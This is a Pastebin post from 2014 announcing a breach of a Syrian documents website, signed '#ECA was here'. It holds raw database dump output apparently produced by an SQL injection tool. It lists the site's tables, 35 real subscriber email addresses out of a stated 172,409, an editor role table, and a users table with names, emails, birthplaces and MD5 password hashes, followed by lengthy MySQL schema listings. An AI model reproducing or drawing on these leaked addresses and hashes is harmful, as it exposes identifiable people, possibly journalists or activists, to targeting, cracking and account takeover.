Advertisement
Guest User

The #ECA was here - Syria Documents breached

a guest
Mar 21st, 2014
682
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.82 KB | None | 0 0
  1. The #ECA was here.
  2. http://documents.sy/
  3. available databases [2]:
  4. [*] centmen_docsdb
  5. [*] information_schema
  6. Database: centmen_docsdb
  7. [28 tables]
  8. +---------------------------------------+
  9. | all |
  10. | articles |
  11. | articles_content |
  12. | cities |
  13. | close_log |
  14. | emails |
  15. | images |
  16. | images_content |
  17. | marties |
  18. | marties_content |
  19. | news |
  20. | news_content |
  21. | newsletters |
  22. | newsletters_content |
  23. | newsletters_content_content |
  24. | revo_newsletters |
  25. | revo_newsletters_content |
  26. | revo_newsletters_content_content |
  27. | roles |
  28. | sendus_image |
  29. | sendus_victim |
  30. | sendus_video |
  31. | settings |
  32. | unval |
  33. | users |
  34. | users_log |
  35. | videos |
  36. | videos_content |
  37. +---------------------------------------+
  38. Database: centmen_docsdb
  39. Table: emails
  40. [35 of 172,409 entries]
  41. +------------------+---------------------------+--------+-----------+------------+
  42. | key | email | active | views_num | clicks_num |
  43. +------------------+---------------------------+--------+-----------+------------+
  44. | 1y40qb95q000884c | w23377@yahoo.com | 10 | 0 | 0 |
  45. | 2clcczf1xgkkgsso | toumarami@hotmail.com | 4 | 0 | 0 |
  46. | 2extx65i5dq8o0c8 | al.boraq@hotmail.com | 0 | 0 | 0 |
  47. | 466m9gaipckk4ckg | w.abdo1978@yahoo.com | 0 | 0 | 0 |
  48. | 4axk66l9o10k08o4 | r83_a83@yahoo.com | 2 | 0 | 0 |
  49. | 4cvagdp19084wgc0 | sleman.saliba@hotmail.com | 1 | 0 | 0 |
  50. | 4flpm904rqg4osgo | firas.adra@gmail.com | 0 | 0 | 0 |
  51. | 4hbr3ig8be | big.star96@hotmail.com | 1 | 0 | 0 |
  52. | 4hmvm6skl4e8c8ow | qosay2008@hotmail.com | 0 | 0 | 0 |
  53. | 61boq6pn73 | aleppo80@yahoo.com | 1 | 0 | 0 |
  54. | 61hae8s4nl | info@dp-news.com | 1 | 0 | 0 |
  55. | 64cobgfmmxog4cck | khaldoun99@hotmail.com | 8 | 0 | 0 |
  56. | 6b7luhoyq2o04gs0 | tiger.tiger248@gmail.com | 1 | 0 | 0 |
  57. | 7xs4xfm57ksg44c8 | hamoud@haykal.com | 2 | 0 | 0 |
  58. | 84ek502jar0o4g40 | khodrawarki@gmail.com | 0 | 0 | 0 |
  59. | 84h71js7zu | ramajed2006@gmail.com | 1 | 0 | 0 |
  60. | 9tdea6hg76kgk8w4 | boris.syria@yahoo.com | 1 | 0 | 0 |
  61. | 9v9597qh35csg080 | tony.gerrouge@gmail.com | 1 | 0 | 0 |
  62. | 9xih01hl0zk0cskw | ogarite@hotmail.com | 0 | 0 | 0 |
  63. | a23rzft9kwwkkcg | aboibapress@hotmail.com | 9 | 0 | 0 |
  64. | a9fa82ccy00g0ksg | nabil.kuzbari@vimpex.at | 0 | 0 | 0 |
  65. | a9whcmj38bkgogoc | production@absn.tv | 1 | 0 | 0 |
  66. | ac093ohhrvsogosw | yona-zood1@hotmail.com | 3 | 0 | 0 |
  67. | c33fuju8nm880044 | nbls96@yahoo.com | 0 | 0 | 0 |
  68. | c3b3ji15n6gckggk | b_mousa@hotmail.com | 1 | 0 | 0 |
  69. | ca6ez6n8k7sc0s48 | abeer-883@hotmail.com | 1 | 0 | 0 |
  70. | drg37nfv2c | ramy.alwatan@gmail.com | 1 | 0 | 0 |
  71. | drgk28lzm800kk00 | wassimfarha@hotmail.com | 6 | 0 | 0 |
  72. | flc86z87grkkgwc8 | tarek.hamzi@mbc.net | 0 | 0 | 0 |
  73. | fz7rui12gl4wc04c | waseemjab@yahoo.com | 1 | 0 | 0 |
  74. | g1m4m3f7x3c44c4k | nidalhannan@gmail.com | 0 | 0 | 0 |
  75. | hllz4mucnyg44sgs | news@aksalser.com | 1 | 0 | 0 |
  76. | hzmv7u1lcy040o8k | nahla0000@hotmail.com | 1 | 0 | 0 |
  77. | i1kyva23o8 | n4d@msn.com | 1 | 0 | 0 |
  78. | ppol6sxl | sy34@msn.com | 1 | 0 | 0 |
  79. +------------------+---------------------------+--------+-----------+------------+
  80. Database: centmen_docsdb
  81. Table: roles
  82. [233 entries]
  83. +---------+-----------------+
  84. | user_id | role_record |
  85. +---------+-----------------+
  86. | 2 | settings |
  87. | 2 | users |
  88. | 2 | sections |
  89. | 2 | news_imp |
  90. | 2 | ads |
  91. | 2 | ads |
  92. | 4 | news_imp |
  93. | 4 | newsletters |
  94. | 4 | ads |
  95. | 4 | settings |
  96. | 4 | sections |
  97. | 4 | users |
  98. | 5 | news_imp |
  99. | 6 | ads |
  100. | 6 | news_imp |
  101. | 6 | sections |
  102. | 8 | settings |
  103. | 8 | ads |
  104. | 8 | newsletters |
  105. | 8 | users |
  106. | 8 | marties |
  107. | 8 | videos |
  108. | 9 | receivedimages |
  109. | 9 | receivedvictims |
  110. | 9 | videos |
  111. | 9 | marties |
  112. | 9 | settings |
  113. | 9 | ads |
  114. | 9 | newsletters |
  115. | 9 | receivedvideo |
  116. | 10 | videos |
  117. | 10 | marties |
  118. | 10 | newsletters |
  119. | 10 | images |
  120. | 10 | receivedvictims |
  121. | 10 | map |
  122. | 10 | receivedvideo |
  123. | 10 | receivedimages |
  124. | 10 | articles |
  125. | 11 | videos |
  126. | 11 | marties |
  127. | 12 | receivedvideo |
  128. | 12 | receivedimages |
  129. | 12 | videos |
  130. | 12 | receivedvictims |
  131. | 12 | images |
  132. | 12 | map |
  133. | 12 | newsletters |
  134. | 12 | articles |
  135. | 12 | marties |
  136. | 13 | receivedvictims |
  137. | 13 | videos |
  138. | 13 | receivedimages |
  139. | 13 | marties |
  140. | 13 | receivedvideo |
  141. | 13 | articles |
  142. | 13 | newsletters |
  143. | 13 | images |
  144. | 13 | map |
  145. | 14 | newsletters |
  146. | 14 | images |
  147. | 14 | videos |
  148. | 14 | marties |
  149. | 14 | map |
  150. | 15 | receivedimages |
  151. | 15 | receivedvideo |
  152. | 15 | receivedvictims |
  153. | 16 | map |
  154. | 16 | marties |
  155. | 16 | receivedvictims |
  156. | 16 | receivedimages |
  157. | 16 | images |
  158. | 16 | videos |
  159. | 16 | newsletters |
  160. | 16 | receivedvideo |
  161. | 17 | map |
  162. | 17 | articles |
  163. | 17 | receivedvideo |
  164. | 17 | images |
  165. | 17 | marties |
  166. | 17 | receivedimages |
  167. | 17 | receivedvictims |
  168. | 17 | newsletters |
  169. | 17 | videos |
  170. | 18 | images |
  171. | 18 | videos |
  172. | 18 | marties |
  173. | 18 | map |
  174. | 18 | articles |
  175. | 19 | videos |
  176. | 19 | marties |
  177. | 19 | images |
  178. | 19 | articles |
  179. | 19 | map |
  180. | 20 | videos |
  181. | 20 | marties |
  182. | 21 | receivedimages |
  183. | 21 | receivedvideo |
  184. | 21 | articles |
  185. | 21 | newsletters |
  186. | 21 | videos |
  187. | 21 | marties |
  188. | 21 | map |
  189. | 21 | images |
  190. | 21 | receivedvictims |
  191. | 22 | receivedvideo |
  192. | 22 | settings |
  193. | 22 | users |
  194. | 22 | images |
  195. | 22 | map |
  196. | 22 | marties |
  197. | 22 | monitor |
  198. | 22 | receivedvictims |
  199. | 22 | videos |
  200. | 22 | newsletters |
  201. | 22 | receivedimages |
  202. | 22 | articles |
  203. | 22 | ads |
  204. | 23 | receivedvideo |
  205. | 23 | marties |
  206. | 23 | receivedvictims |
  207. | 23 | articles |
  208. | 23 | newsletters |
  209. | 23 | images |
  210. | 23 | map |
  211. | 23 | videos |
  212. | 23 | receivedimages |
  213. | 24 | images |
  214. | 24 | videos |
  215. | 25 | videos |
  216. | 26 | receivedvictims |
  217. | 26 | receivedimages |
  218. | 26 | receivedvideo |
  219. | 26 | videos |
  220. | 28 | receivedimages |
  221. | 28 | receivedvideo |
  222. | 28 | videos |
  223. | 28 | receivedvictims |
  224. | 28 | images |
  225. | 28 | marties |
  226. | 28 | map |
  227. | 29 | receivedvideo |
  228. | 29 | receivedvictims |
  229. | 29 | articles |
  230. | 29 | videos |
  231. | 29 | marties |
  232. | 29 | receivedimages |
  233. | 29 | map |
  234. | 29 | images |
  235. | 40 | images |
  236. | 40 | videos |
  237. | 40 | receivedvictims |
  238. | 40 | receivedimages |
  239. | 40 | receivedvideo |
  240. | 40 | monitor |
  241. | 40 | articles |
  242. | 40 | marties |
  243. | 40 | map |
  244. | 40 | users |
  245. | 40 | settings |
  246. | 40 | ads |
  247. | 40 | newsletters |
  248. | 42 | marties |
  249. | 42 | map |
  250. | 42 | images |
  251. | 42 | receivedvictims |
  252. | 42 | receivedimages |
  253. | 42 | newsletters |
  254. | 42 | articles |
  255. | 42 | monitor |
  256. | 42 | receivedvideo |
  257. | 42 | videos |
  258. | 44 | receivedvictims |
  259. | 44 | receivedimages |
  260. | 44 | receivedvideo |
  261. | 44 | articles |
  262. | 44 | videos |
  263. | 44 | marties |
  264. | 44 | map |
  265. | 44 | images |
  266. | 44 | newsletters |
  267. | 45 | videos |
  268. | 45 | marties |
  269. | 45 | map |
  270. | 45 | newsletters |
  271. | 45 | articles |
  272. | 45 | images |
  273. | 48 | marties |
  274. | 48 | videos |
  275. | 48 | newsletters |
  276. | 48 | articles |
  277. | 48 | images |
  278. | 48 | map |
  279. | 51 | marties |
  280. | 51 | videos |
  281. | 51 | images |
  282. | 52 | map |
  283. | 52 | marties |
  284. | 52 | videos |
  285. | 52 | receivedvictims |
  286. | 52 | images |
  287. | 52 | newsletters |
  288. | 52 | receivedvideo |
  289. | 52 | receivedimages |
  290. | 53 | map |
  291. | 53 | images |
  292. | 53 | videos |
  293. | 53 | marties |
  294. | 54 | marties |
  295. | 54 | images |
  296. | 54 | newsletters |
  297. | 54 | articles |
  298. | 54 | map |
  299. | 54 | videos |
  300. | 55 | images |
  301. | 55 | videos |
  302. | 55 | marties |
  303. | 55 | map |
  304. | 55 | newsletters |
  305. | 56 | articles |
  306. | 56 | images |
  307. | 56 | marties |
  308. | 56 | videos |
  309. | 56 | newsletters |
  310. | 56 | map |
  311. | 57 | videos |
  312. | 57 | images |
  313. | 57 | map |
  314. | 57 | marties |
  315. | 59 | videos |
  316. | 59 | images |
  317. | 59 | map |
  318. | 59 | marties |
  319. +---------+-----------------+
  320. Database: centmen_docsdb
  321. Table: users
  322. [6 entries]
  323. +---------+-----------+---------------------------+-------------+---------------+---------------+----------------------------------+-----------------+
  324. | user_id | user_name | user_email | user_gender | user_lastname | user_birthday | user_password | user_birthplace |
  325. +---------+-----------+---------------------------+-------------+---------------+---------------+----------------------------------+-----------------+
  326. | 40 | dadmin | dadmin@gmail.com | male | os | 2012-07-04 | 374e393cedb89f683759af02388c0497 | 2012-07-04 |
  327. | 42 | alaa | alaa@gmail.comss | male | ihsan | 0000-00-00 | f036a4c3ecfe63af92a10e32e6c1b70a | damas |
  328. | 52 | zain | zain@hotmail.com | male | Zain | 0000-00-00 | 65bb536e3212bc8b41e0c4f870c47779 | Homs |
  329. | 53 | reem | breakingnews.sy@gmail.com | female | reem | 2012-12-12 | 85d0c36957025fe087462e899773470b | damas |
  330. | 57 | m.dalla | dalla@hotmail.com | male | dalla | 0000-00-00 | 18a93476efeff7ae366660460702d13f | دمشق |
  331. | 59 | aws | <blank> | male | mahfoud | 2104-02-18 | 2c92dba18fe48562f31805a1a321f12f | اللاذقية |
  332. +---------+-----------+---------------------------+-------------+---------------+---------------+----------------------------------+-----------------+
  333. Database: information_schema
  334. [33 tables]
  335. +---------------------------------------+
  336. | CHARACTER_SETS |
  337. | CLIENT_STATISTICS |
  338. | COLLATIONS |
  339. | COLLATION_CHARACTER_SET_APPLICABILITY |
  340. | COLUMNS |
  341. | COLUMN_PRIVILEGES |
  342. | ENGINES |
  343. | EVENTS |
  344. | FILES |
  345. | GLOBAL_STATUS |
  346. | GLOBAL_VARIABLES |
  347. | INDEX_STATISTICS |
  348. | KEY_COLUMN_USAGE |
  349. | PARTITIONS |
  350. | PLUGINS |
  351. | PROCESSLIST |
  352. | PROFILING |
  353. | REFERENTIAL_CONSTRAINTS |
  354. | ROUTINES |
  355. | SCHEMATA |
  356. | SCHEMA_PRIVILEGES |
  357. | SESSION_STATUS |
  358. | SESSION_VARIABLES |
  359. | STATISTICS |
  360. | TABLES |
  361. | TABLE_CONSTRAINTS |
  362. | TABLE_PRIVILEGES |
  363. | TABLE_STATISTICS |
  364. | THREAD_STATISTICS |
  365. | TRIGGERS |
  366. | USER_PRIVILEGES |
  367. | USER_STATISTICS |
  368. | VIEWS |
  369. +---------------------------------------+
  370. Database: information_schema
  371. Table: CHARACTER_SETS
  372. [36 entries]
  373. +--------+-----------------------------+--------------------+----------------------+
  374. | MAXLEN | DESCRIPTION | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME |
  375. +--------+-----------------------------+--------------------+----------------------+
  376. | 1 | ISO 8859-2 Central European | latin7 | latin2_general_ci |
  377. | 1 | Mac Central European | cp866 | cp1257_general_ci |
  378. | 1 | ISO 8859-8 Hebrew | cp850 | ascii_general_ci |
  379. | 1 | ISO 8859-2 Central European | latin5 | ascii_general_ci |
  380. | 1 | ISO 8859-9 Turkish | greek | macce_general_ci |
  381. | 1 | KOI8-R Relcom Russian | latin1 | macroman_general_ci |
  382. | 1 | TIS620 Thai | swe7 | cp1251_general_ci |
  383. | 1 | ISO 8859-2 Central European | keybcs2 | keybcs2_general_ci |
  384. | 1 | US ASCII | binary | armscii8_general_ci |
  385. | 1 | US ASCII | cp1257 | hebrew_general_ci |
  386. | 1 | Windows Central European | hp8 | koi8r_general_ci |
  387. | 1 | US ASCII | swe7 | cp1257_general_ci |
  388. | 1 | cp1252 West European | greek | greek_general_ci |
  389. | 1 | ISO 8859-8 Hebrew | cp1250 | hp8_english_ci |
  390. | 1 | GEOSTD8 Georgian | geostd8 | hebrew_general_ci |
  391. | 1 | DEC West European | latin1 | latin5_turkish_ci |
  392. | 1 | DOS Kamenicky Czech-Slovak | koi8u | binary |
  393. | 1 | cp1252 West European | latin2 | macroman_general_ci |
  394. | 1 | Windows Central European | greek | armscii8_general_ci |
  395. | 1 | DOS Kamenicky Czech-Slovak | armscii8 | keybcs2_general_ci |
  396. | 1 | Windows Central European | koi8r | latin1_swedish_ci |
  397. | 1 | Binary pseudo charset | cp850 | koi8r_general_ci |
  398. | 1 | Binary pseudo charset | cp1257 | binary |
  399. | 1 | DOS Kamenicky Czech-Slovak | greek | cp850_general_ci |
  400. | 1 | ISO 8859-2 Central European | hebrew | swe7_swedish_ci |
  401. | 1 | ISO 8859-13 Baltic | latin1 | cp852_general_ci |
  402. | 2 | GBK Simplified Chinese | ucs2 | big5_chinese_ci |
  403. | 2 | UCS-2 Unicode | ucs2 | ucs2_general_ci |
  404. | 2 | EUC-KR Korean | ucs2 | gbk_chinese_ci |
  405. | 2 | SJIS for Windows Japanese | cp932 | sjis_japanese_ci |
  406. | 2 | EUC-KR Korean | sjis | big5_chinese_ci |
  407. | 2 | Big5 Traditional Chinese | big5 | ucs2_general_ci |
  408. | 2 | SJIS for Windows Japanese | big5 | sjis_japanese_ci |
  409. | 3 | UTF-8 Unicode | utf8 | eucjpms_japanese_ci |
  410. | 3 | EUC-JP Japanese | eucjpms | ujis_japanese_ci |
  411. | 3 | UTF-8 Unicode | ujis | ujis_japanese_ci |
  412. +--------+-----------------------------+--------------------+----------------------+
  413. Database: information_schema
  414. Table: COLLATIONS
  415. [129 entries]
  416. +-----+---------+------------+-------------+--------------------------+--------------------+
  417. | ID | SORTLEN | IS_DEFAULT | IS_COMPILED | COLLATION_NAME | CHARACTER_SET_NAME |
  418. +-----+---------+------------+-------------+--------------------------+--------------------+
  419. | 1 | 1 | Yes | Yes | big5_chinese_ci | big5 |
  420. | 2 | 4 | <blank> | Yes | latin2_czech_cs | latin2 |
  421. | 3 | 1 | Yes | Yes | dec8_swedish_ci | dec8 |
  422. | 4 | 1 | Yes | Yes | cp850_general_ci | cp850 |
  423. | 5 | 1 | <blank> | Yes | latin1_german1_ci | latin1 |
  424. | 6 | 1 | Yes | Yes | hp8_english_ci | hp8 |
  425. | 7 | 1 | Yes | Yes | koi8r_general_ci | koi8r |
  426. | 8 | 1 | Yes | Yes | latin1_swedish_ci | latin1 |
  427. | 9 | 1 | Yes | Yes | latin2_general_ci | latin2 |
  428. | 10 | 1 | Yes | Yes | swe7_swedish_ci | swe7 |
  429. | 11 | 1 | Yes | Yes | ascii_general_ci | ascii |
  430. | 12 | 1 | Yes | Yes | ujis_japanese_ci | ujis |
  431. | 13 | 1 | Yes | Yes | sjis_japanese_ci | sjis |
  432. | 14 | 1 | <blank> | Yes | cp1251_bulgarian_ci | cp1251 |
  433. | 15 | 1 | <blank> | Yes | latin1_danish_ci | latin1 |
  434. | 16 | 1 | Yes | Yes | hebrew_general_ci | hebrew |
  435. | 18 | 4 | Yes | Yes | tis620_thai_ci | tis620 |
  436. | 19 | 1 | Yes | Yes | euckr_korean_ci | euckr |
  437. | 20 | 1 | <blank> | Yes | latin7_estonian_cs | latin7 |
  438. | 21 | 1 | <blank> | Yes | latin2_hungarian_ci | latin2 |
  439. | 22 | 1 | Yes | Yes | koi8u_general_ci | koi8u |
  440. | 23 | 1 | <blank> | Yes | cp1251_ukrainian_ci | cp1251 |
  441. | 24 | 1 | Yes | Yes | gb2312_chinese_ci | gb2312 |
  442. | 25 | 1 | Yes | Yes | greek_general_ci | greek |
  443. | 26 | 1 | Yes | Yes | cp1250_general_ci | cp1250 |
  444. | 27 | 1 | <blank> | Yes | latin2_croatian_ci | latin2 |
  445. | 28 | 1 | Yes | Yes | gbk_chinese_ci | gbk |
  446. | 29 | 1 | <blank> | Yes | cp1257_lithuanian_ci | cp1257 |
  447. | 30 | 1 | Yes | Yes | latin5_turkish_ci | latin5 |
  448. | 31 | 2 | <blank> | Yes | latin1_german2_ci | latin1 |
  449. | 32 | 1 | Yes | Yes | armscii8_general_ci | armscii8 |
  450. | 33 | 1 | Yes | Yes | utf8_general_ci | utf8 |
  451. | 34 | 2 | <blank> | Yes | cp1250_czech_cs | cp1250 |
  452. | 35 | 1 | Yes | Yes | ucs2_general_ci | ucs2 |
  453. | 36 | 1 | Yes | Yes | cp866_general_ci | cp866 |
  454. | 37 | 1 | Yes | Yes | keybcs2_general_ci | keybcs2 |
  455. | 38 | 1 | Yes | Yes | macce_general_ci | macce |
  456. | 39 | 1 | Yes | Yes | macroman_general_ci | macroman |
  457. | 40 | 1 | Yes | Yes | cp852_general_ci | cp852 |
  458. | 41 | 1 | Yes | Yes | latin7_general_ci | latin7 |
  459. | 42 | 1 | <blank> | Yes | latin7_general_cs | latin7 |
  460. | 43 | 1 | <blank> | Yes | macce_bin | macce |
  461. | 44 | 1 | <blank> | Yes | cp1250_croatian_ci | cp1250 |
  462. | 47 | 1 | <blank> | Yes | latin1_bin | latin1 |
  463. | 48 | 1 | <blank> | Yes | latin1_general_ci | latin1 |
  464. | 49 | 1 | <blank> | Yes | latin1_general_cs | latin1 |
  465. | 50 | 1 | <blank> | Yes | cp1251_bin | cp1251 |
  466. | 51 | 1 | Yes | Yes | cp1251_general_ci | cp1251 |
  467. | 52 | 1 | <blank> | Yes | cp1251_general_cs | cp1251 |
  468. | 53 | 1 | <blank> | Yes | macroman_bin | macroman |
  469. | 57 | 1 | Yes | Yes | cp1256_general_ci | cp1256 |
  470. | 58 | 1 | <blank> | Yes | cp1257_bin | cp1257 |
  471. | 59 | 1 | Yes | Yes | cp1257_general_ci | cp1257 |
  472. | 63 | 1 | Yes | Yes | binary | binary |
  473. | 64 | 1 | <blank> | Yes | armscii8_bin | armscii8 |
  474. | 65 | 1 | <blank> | Yes | ascii_bin | ascii |
  475. | 66 | 1 | <blank> | Yes | cp1250_bin | cp1250 |
  476. | 67 | 1 | <blank> | Yes | cp1256_bin | cp1256 |
  477. | 68 | 1 | <blank> | Yes | cp866_bin | cp866 |
  478. | 69 | 1 | <blank> | Yes | dec8_bin | dec8 |
  479. | 70 | 1 | <blank> | Yes | greek_bin | greek |
  480. | 71 | 1 | <blank> | Yes | hebrew_bin | hebrew |
  481. | 72 | 1 | <blank> | Yes | hp8_bin | hp8 |
  482. | 73 | 1 | <blank> | Yes | keybcs2_bin | keybcs2 |
  483. | 74 | 1 | <blank> | Yes | koi8r_bin | koi8r |
  484. | 75 | 1 | <blank> | Yes | koi8u_bin | koi8u |
  485. | 77 | 1 | <blank> | Yes | latin2_bin | latin2 |
  486. | 78 | 1 | <blank> | Yes | latin5_bin | latin5 |
  487. | 79 | 1 | <blank> | Yes | latin7_bin | latin7 |
  488. | 80 | 1 | <blank> | Yes | cp850_bin | cp850 |
  489. | 81 | 1 | <blank> | Yes | cp852_bin | cp852 |
  490. | 82 | 1 | <blank> | Yes | swe7_bin | swe7 |
  491. | 83 | 1 | <blank> | Yes | utf8_bin | utf8 |
  492. | 84 | 1 | <blank> | Yes | big5_bin | big5 |
  493. | 85 | 1 | <blank> | Yes | euckr_bin | euckr |
  494. | 86 | 1 | <blank> | Yes | gb2312_bin | gb2312 |
  495. | 87 | 1 | <blank> | Yes | gbk_bin | gbk |
  496. | 88 | 1 | <blank> | Yes | sjis_bin | sjis |
  497. | 89 | 1 | <blank> | Yes | tis620_bin | tis620 |
  498. | 90 | 1 | <blank> | Yes | ucs2_bin | ucs2 |
  499. | 91 | 1 | <blank> | Yes | ujis_bin | ujis |
  500. | 92 | 1 | Yes | Yes | geostd8_general_ci | geostd8 |
  501. | 93 | 1 | <blank> | Yes | geostd8_bin | geostd8 |
  502. | 94 | 1 | <blank> | Yes | latin1_spanish_ci | latin1 |
  503. | 95 | 1 | Yes | Yes | cp932_japanese_ci | cp932 |
  504. | 96 | 1 | <blank> | Yes | cp932_bin | cp932 |
  505. | 97 | 1 | Yes | Yes | eucjpms_japanese_ci | eucjpms |
  506. | 98 | 1 | <blank> | Yes | eucjpms_bin | eucjpms |
  507. | 99 | 1 | <blank> | Yes | cp1250_polish_ci | cp1250 |
  508. | 128 | 8 | <blank> | Yes | ucs2_unicode_ci | ucs2 |
  509. | 129 | 8 | <blank> | Yes | ucs2_icelandic_ci | ucs2 |
  510. | 130 | 8 | <blank> | Yes | ucs2_latvian_ci | ucs2 |
  511. | 131 | 8 | <blank> | Yes | ucs2_romanian_ci | ucs2 |
  512. | 132 | 8 | <blank> | Yes | ucs2_slovenian_ci | ucs2 |
  513. | 133 | 8 | <blank> | Yes | ucs2_polish_ci | ucs2 |
  514. | 134 | 8 | <blank> | Yes | ucs2_estonian_ci | ucs2 |
  515. | 135 | 8 | <blank> | Yes | ucs2_spanish_ci | ucs2 |
  516. | 136 | 8 | <blank> | Yes | ucs2_swedish_ci | ucs2 |
  517. | 137 | 8 | <blank> | Yes | ucs2_turkish_ci | ucs2 |
  518. | 138 | 8 | <blank> | Yes | ucs2_czech_ci | ucs2 |
  519. | 139 | 8 | <blank> | Yes | ucs2_danish_ci | ucs2 |
  520. | 140 | 8 | <blank> | Yes | ucs2_lithuanian_ci | ucs2 |
  521. | 141 | 8 | <blank> | Yes | ucs2_slovak_ci | ucs2 |
  522. | 142 | 8 | <blank> | Yes | ucs2_spanish2_ci | ucs2 |
  523. | 143 | 8 | <blank> | Yes | ucs2_roman_ci | ucs2 |
  524. | 144 | 8 | <blank> | Yes | ucs2_persian_ci | ucs2 |
  525. | 145 | 8 | <blank> | Yes | ucs2_esperanto_ci | ucs2 |
  526. | 146 | 8 | <blank> | Yes | ucs2_hungarian_ci | ucs2 |
  527. | 159 | 1 | <blank> | Yes | ucs2_general_mysql500_ci | ucs2 |
  528. | 192 | 8 | <blank> | Yes | utf8_unicode_ci | utf8 |
  529. | 193 | 8 | <blank> | Yes | utf8_icelandic_ci | utf8 |
  530. | 194 | 8 | <blank> | Yes | utf8_latvian_ci | utf8 |
  531. | 195 | 8 | <blank> | Yes | utf8_romanian_ci | utf8 |
  532. | 196 | 8 | <blank> | Yes | utf8_slovenian_ci | utf8 |
  533. | 197 | 8 | <blank> | Yes | utf8_polish_ci | utf8 |
  534. | 198 | 8 | <blank> | Yes | utf8_estonian_ci | utf8 |
  535. | 199 | 8 | <blank> | Yes | utf8_spanish_ci | utf8 |
  536. | 200 | 8 | <blank> | Yes | utf8_swedish_ci | utf8 |
  537. | 201 | 8 | <blank> | Yes | utf8_turkish_ci | utf8 |
  538. | 202 | 8 | <blank> | Yes | utf8_czech_ci | utf8 |
  539. | 203 | 8 | <blank> | Yes | utf8_danish_ci | utf8 |
  540. | 204 | 8 | <blank> | Yes | utf8_lithuanian_ci | utf8 |
  541. | 205 | 8 | <blank> | Yes | utf8_slovak_ci | utf8 |
  542. | 206 | 8 | <blank> | Yes | utf8_spanish2_ci | utf8 |
  543. | 207 | 8 | <blank> | Yes | utf8_roman_ci | utf8 |
  544. | 208 | 8 | <blank> | Yes | utf8_persian_ci | utf8 |
  545. | 209 | 8 | <blank> | Yes | utf8_esperanto_ci | utf8 |
  546. | 210 | 8 | <blank> | Yes | utf8_hungarian_ci | utf8 |
  547. | 223 | 1 | <blank> | Yes | utf8_general_mysql500_ci | utf8 |
  548. +-----+---------+------------+-------------+--------------------------+--------------------+
  549. Database: information_schema
  550. Table: COLLATION_CHARACTER_SET_APPLICABILITY
  551. [130 entries]
  552. +--------------------------+--------------------+
  553. | COLLATION_NAME | CHARACTER_SET_NAME |
  554. +--------------------------+--------------------+
  555. | armscii8_bin | armscii8 |
  556. | armscii8_general_ci | armscii8 |
  557. | ascii_bin | ascii |
  558. | ascii_general_ci | ascii |
  559. | big5_bin | big5 |
  560. | big5_chinese_ci | big5 |
  561. | binary | binary |
  562. | cp1250_bin | cp1250 |
  563. | cp1250_croatian_ci | cp1250 |
  564. | cp1250_czech_cs | cp1250 |
  565. | cp1250_general_ci | cp1250 |
  566. | cp1250_polish_ci | cp1250 |
  567. | cp1251_bin | cp1251 |
  568. | cp1251_bulgarian_ci | cp1251 |
  569. | cp1251_general_ci | cp1251 |
  570. | cp1251_general_cs | cp1251 |
  571. | cp1251_ukrainian_ci | cp1251 |
  572. | cp1256_bin | cp1256 |
  573. | cp1256_general_ci | cp1256 |
  574. | cp1257_bin | cp1257 |
  575. | cp1257_general_ci | cp1257 |
  576. | cp1257_lithuanian_ci | cp1257 |
  577. | cp850_bin | cp850 |
  578. | cp850_general_ci | cp850 |
  579. | cp852_bin | cp852 |
  580. | cp852_general_ci | cp852 |
  581. | cp866_bin | cp866 |
  582. | cp866_general_ci | cp866 |
  583. | cp932_bin | cp932 |
  584. | cp932_japanese_ci | cp932 |
  585. | dec8_bin | dec8 |
  586. | dec8_swedish_ci | dec8 |
  587. | eucjpms_bin | eucjpms |
  588. | eucjpms_japanese_ci | eucjpms |
  589. | euckr_bin | euckr |
  590. | euckr_korean_ci | euckr |
  591. | filename | filename |
  592. | gb2312_bin | gb2312 |
  593. | gb2312_chinese_ci | gb2312 |
  594. | gbk_bin | gbk |
  595. | gbk_chinese_ci | gbk |
  596. | geostd8_bin | geostd8 |
  597. | geostd8_general_ci | geostd8 |
  598. | greek_bin | greek |
  599. | greek_general_ci | greek |
  600. | hebrew_bin | hebrew |
  601. | hebrew_general_ci | hebrew |
  602. | hp8_bin | hp8 |
  603. | hp8_english_ci | hp8 |
  604. | keybcs2_bin | keybcs2 |
  605. | keybcs2_general_ci | keybcs2 |
  606. | koi8r_bin | koi8r |
  607. | koi8r_general_ci | koi8r |
  608. | koi8u_bin | koi8u |
  609. | koi8u_general_ci | koi8u |
  610. | latin1_bin | latin1 |
  611. | latin1_danish_ci | latin1 |
  612. | latin1_general_ci | latin1 |
  613. | latin1_general_cs | latin1 |
  614. | latin1_german1_ci | latin1 |
  615. | latin1_german2_ci | latin1 |
  616. | latin1_spanish_ci | latin1 |
  617. | latin1_swedish_ci | latin1 |
  618. | latin2_bin | latin2 |
  619. | latin2_croatian_ci | latin2 |
  620. | latin2_czech_cs | latin2 |
  621. | latin2_general_ci | latin2 |
  622. | latin2_hungarian_ci | latin2 |
  623. | latin5_bin | latin5 |
  624. | latin5_turkish_ci | latin5 |
  625. | latin7_bin | latin7 |
  626. | latin7_estonian_cs | latin7 |
  627. | latin7_general_ci | latin7 |
  628. | latin7_general_cs | latin7 |
  629. | macce_bin | macce |
  630. | macce_general_ci | macce |
  631. | macroman_bin | macroman |
  632. | macroman_general_ci | macroman |
  633. | sjis_bin | sjis |
  634. | sjis_japanese_ci | sjis |
  635. | swe7_bin | swe7 |
  636. | swe7_swedish_ci | swe7 |
  637. | tis620_bin | tis620 |
  638. | tis620_thai_ci | tis620 |
  639. | ucs2_bin | ucs2 |
  640. | ucs2_czech_ci | ucs2 |
  641. | ucs2_danish_ci | ucs2 |
  642. | ucs2_esperanto_ci | ucs2 |
  643. | ucs2_estonian_ci | ucs2 |
  644. | ucs2_general_ci | ucs2 |
  645. | ucs2_general_mysql500_ci | ucs2 |
  646. | ucs2_hungarian_ci | ucs2 |
  647. | ucs2_icelandic_ci | ucs2 |
  648. | ucs2_latvian_ci | ucs2 |
  649. | ucs2_lithuanian_ci | ucs2 |
  650. | ucs2_persian_ci | ucs2 |
  651. | ucs2_polish_ci | ucs2 |
  652. | ucs2_romanian_ci | ucs2 |
  653. | ucs2_roman_ci | ucs2 |
  654. | ucs2_slovak_ci | ucs2 |
  655. | ucs2_slovenian_ci | ucs2 |
  656. | ucs2_spanish2_ci | ucs2 |
  657. | ucs2_spanish_ci | ucs2 |
  658. | ucs2_swedish_ci | ucs2 |
  659. | ucs2_turkish_ci | ucs2 |
  660. | ucs2_unicode_ci | ucs2 |
  661. | ujis_bin | ujis |
  662. | ujis_japanese_ci | ujis |
  663. | utf8_bin | utf8 |
  664. | utf8_czech_ci | utf8 |
